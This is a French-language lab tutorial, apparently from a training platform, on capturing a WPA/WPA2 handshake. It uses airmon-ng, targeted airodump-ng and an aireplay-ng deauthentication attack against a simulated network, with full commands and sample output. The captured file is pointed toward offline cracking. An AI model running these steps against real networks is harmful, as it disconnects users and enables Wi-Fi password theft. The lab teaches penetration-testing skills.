Capturer manuellement une poignée de main WPA avec airodump-ng

Beginner
Pratiquer maintenant

Introduction

La négociation en quatre étapes WPA/WPA2 est un composant essentiel de la sécurité Wi-Fi moderne. C'est le processus par lequel un client et un point d'accès (AP) prouvent qu'ils connaissent la clé pré-partagée (le mot de passe Wi-Fi) sans jamais la transmettre directement. La capture de cette négociation est la première étape d'une attaque par force brute ou par dictionnaire pour récupérer le mot de passe Wi-Fi.

Dans ce laboratoire, vous apprendrez à utiliser la puissante suite d'outils Aircrack-ng pour effectuer cette capture. Nous utiliserons airmon-ng pour mettre votre carte sans fil en mode moniteur, airodump-ng pour scanner et cibler un réseau spécifique, et aireplay-ng pour forcer un client à se réauthentifier, générant ainsi une négociation que nous pourrons capturer.

Ce laboratoire simule un scénario réel. Une interface sans fil wlan0 et un réseau cible vous seront fournis pour vous entraîner dans l'environnement du laboratoire.

Mettre l'adaptateur sans fil en mode moniteur

Dans cette étape, nous allons préparer notre adaptateur sans fil à la capture du trafic réseau. Par défaut, un adaptateur sans fil fonctionne en "mode géré" (managed mode), ce qui signifie qu'il ne prête attention qu'au trafic qui lui est destiné. Pour capturer tout le trafic Wi-Fi dans les airs, nous devons le faire passer en "mode moniteur" (monitor mode). Nous utiliserons l'outil airmon-ng pour cela.

Tout d'abord, vérifions le nom de notre interface sans fil. Ouvrez un terminal et exécutez la commande iwconfig.

iwconfig

Vous devriez voir une interface listée, généralement nommée wlan0.

lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

Maintenant, utilisez airmon-ng pour démarrer le mode moniteur sur l'interface wlan0. Cette commande peut arrêter certains processus réseau qui pourraient interférer avec la capture.

sudo airmon-ng start wlan0

La sortie confirmera que le mode moniteur a été activé. Il crée généralement une nouvelle interface virtuelle, souvent nommée wlan0mon, pour la surveillance.

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.

    PID Name
    591 wpa_supplicant
    668 dhclient

PHY     Interface       Driver          Chipset
phy0    wlan0           ath9k           Atheros Communications Inc. AR9271 802.11n

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

Vous pouvez vérifier que la nouvelle interface wlan0mon est en mode moniteur en exécutant à nouveau iwconfig.

iwconfig wlan0mon

La sortie devrait afficher Mode:Monitor.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

Lancer airodump-ng pour trouver le BSSID et le canal de la cible

Dans cette étape, nous utiliserons airodump-ng pour scanner les ondes radio et identifier notre réseau cible. airodump-ng est un outil puissant pour capturer les trames 802.11 et découvrir les points d'accès et les clients connectés à proximité.

Maintenant que notre interface wlan0mon est en mode moniteur, nous pouvons lancer le scan. Exécutez la commande suivante dans votre terminal :

sudo airodump-ng wlan0mon

Votre terminal se remplira d'une liste de tous les réseaux Wi-Fi que airodump-ng peut détecter. L'affichage est divisé en deux parties. La partie supérieure liste les Points d'Accès (AP), et la partie inférieure liste les clients connectés (Stations).

Décomposons les colonnes clés pour les AP :

  • BSSID : L'adresse MAC du Point d'Accès. C'est son identifiant matériel unique.
  • CH : Le canal sur lequel le réseau opère.
  • ESSID : Le nom lisible par l'homme du réseau Wi-Fi (par exemple, "MonWiFiMaison").

Voici un exemple de ce que vous pourriez voir :

 CH  6 ][ Elapsed: 3 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10        0    0   6  54e  WPA2 CCMP   PSK  LabEx_WiFi
 C8:D3:FF:A1:B2:C3  -65        8        0    0   1  54e  WPA2 CCMP   PSK  AnotherWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

Pour ce laboratoire, notre réseau cible est LabEx_WiFi. D'après la sortie ci-dessus, identifiez son BSSID (00:11:22:33:44:55) et son CH (6). Vous en aurez besoin pour l'étape suivante.

Une fois que vous avez noté le BSSID et le canal, appuyez sur Ctrl+C dans le terminal pour arrêter le processus de scan.

Lancer airodump-ng en ciblant le BSSID et le canal spécifiques

Dans cette étape, nous allons concentrer notre capture uniquement sur le réseau cible. L'exécution d'un scan général comme nous l'avons fait à l'étape précédente fait "sauter de canal" (channel hop) la carte sans fil, ce qui signifie que nous pourrions manquer la poignée de main (handshake) lorsqu'elle se produit. Pour garantir une capture réussie, nous allons indiquer à airodump-ng de se verrouiller sur le canal de notre cible et d'écouter uniquement le trafic provenant de son BSSID.

Nous utiliserons également l'option -w pour écrire les paquets capturés dans un fichier. Ce fichier contiendra la poignée de main.

Utilisez le BSSID et le canal que vous avez identifiés à l'étape précédente (00:11:22:33:44:55 et 6) pour construire la commande suivante. Nous nommerons notre fichier de sortie handshake_capture.

sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon

Après avoir exécuté cette commande, l'affichage de airodump-ng changera. Il n'affichera désormais que les informations relatives au réseau LabEx_WiFi. Vous verrez également une liste de tous les clients (STATIONs) qui y sont connectés.

 CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       25        10    1   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1- 1      0       15

Important : Laissez ce terminal en cours d'exécution. Nous en avons besoin pour continuer la capture. Pour l'étape suivante, vous devez ouvrir une nouvelle fenêtre de terminal. Vous pouvez le faire en cliquant à nouveau sur l'icône du terminal dans le dock des applications de l'environnement.

Utiliser aireplay-ng pour déauthentifier un client

Dans cette étape, nous allons forcer activement la génération d'une poignée de main (handshake). Une poignée de main ne se produit que lorsqu'un client se connecte ou se reconnecte à un point d'accès. Si un client est déjà connecté, nous pouvons attendre qu'il se déconnecte naturellement, mais cela pourrait prendre beaucoup de temps. Une approche plus proactive consiste à le forcer à se déconnecter à l'aide d'une "attaque de désauthentification".

Nous utiliserons aireplay-ng pour envoyer des paquets de désauthentification spécialement conçus à un client, lui faisant croire qu'il a été déconnecté par le point d'accès. Le client tentera alors automatiquement de se reconnecter, générant ainsi la poignée de main WPA que notre processus airodump-ng (en cours d'exécution dans l'autre terminal) attend de capturer.

Regardez votre première fenêtre de terminal (celle qui exécute le airodump-ng ciblé). Sous la colonne STATION, vous verrez l'adresse MAC d'un client connecté. Pour ce laboratoire, nous supposerons que l'adresse MAC du client est AA:BB:CC:DD:EE:FF.

Maintenant, dans votre nouvelle fenêtre de terminal, exécutez la commande aireplay-ng suivante.

  • --deauth 5 : Ceci envoie 5 paquets de désauthentification. Une petite rafale est généralement suffisante.
  • -a 00:11:22:33:44:55 : C'est le BSSID de notre point d'accès cible.
  • -c AA:BB:CC:DD:EE:FF : C'est l'adresse MAC du client que nous ciblons.
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

Vous verrez une sortie de aireplay-ng confirmant qu'il envoie les paquets.

10:35:10  Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11  Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]

Maintenant, vérifions si notre capture a réussi.

Confirmer la capture de la poignée de main dans la fenêtre airodump-ng

Dans cette dernière étape, nous allons confirmer que nous avons réussi à capturer la poignée de main WPA. L'attaque de désauthentification que nous venons d'effectuer devrait avoir provoqué la reconnexion du client, et airodump-ng aurait dû capturer la poignée de main résultante.

Reportez votre attention sur votre première fenêtre de terminal, celle où airodump-ng était en cours d'exécution et ciblait LabEx_WiFi.

Regardez dans le coin supérieur droit de l'affichage airodump-ng. Si la capture a réussi, vous verrez un message indiquant [ WPA handshake: 00:11:22:33:44:55 ].

 CH  6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       80       115    8   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1-11      0       98

Voir ce message est votre confirmation ! Vous avez réussi à capturer la poignée de main à quatre voies.

Vous pouvez maintenant arrêter les deux processus en appuyant sur Ctrl+C dans chaque fenêtre de terminal.

Les données capturées, y compris la poignée de main, ont été enregistrées dans des fichiers dans votre répertoire actuel. Vous pouvez les lister avec la commande ls -l.

ls -l

Vous devriez voir plusieurs fichiers commençant par handshake_capture, le plus important étant handshake_capture-01.cap.

-rw-r--r-- 1 root root  452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...

Ce fichier .cap est le prix. Il contient la poignée de main et peut maintenant être utilisé avec des outils tels que aircrack-ng ou hashcat pour des tentatives de craquage de mot de passe hors ligne.

Résumé

Félicitations pour avoir terminé ce laboratoire ! Vous avez réussi à effectuer l'une des techniques fondamentales des tests de pénétration Wi-Fi.

Dans ce laboratoire, vous avez appris à :

  1. Mettre un adaptateur sans fil en mode moniteur à l'aide de airmon-ng.
  2. Scanner les réseaux sans fil à proximité pour identifier une cible avec airodump-ng.
  3. Concentrer airodump-ng sur un BSSID et un canal spécifiques pour préparer une capture ciblée, en enregistrant les résultats dans un fichier.
  4. Utiliser aireplay-ng pour effectuer une attaque de désauthentification, forçant un client à se reconnecter.
  5. Confirmer la capture de la poignée de main WPA dans la sortie de airodump-ng.

Le fichier .cap que vous avez généré contient les précieuses données de la poignée de main. La prochaine étape logique dans un engagement réel serait d'utiliser ce fichier pour tenter de craquer le mot de passe Wi-Fi, un sujet pour un autre laboratoire. Vous avez maintenant une solide compréhension du processus manuel pour capturer cette donnée critique.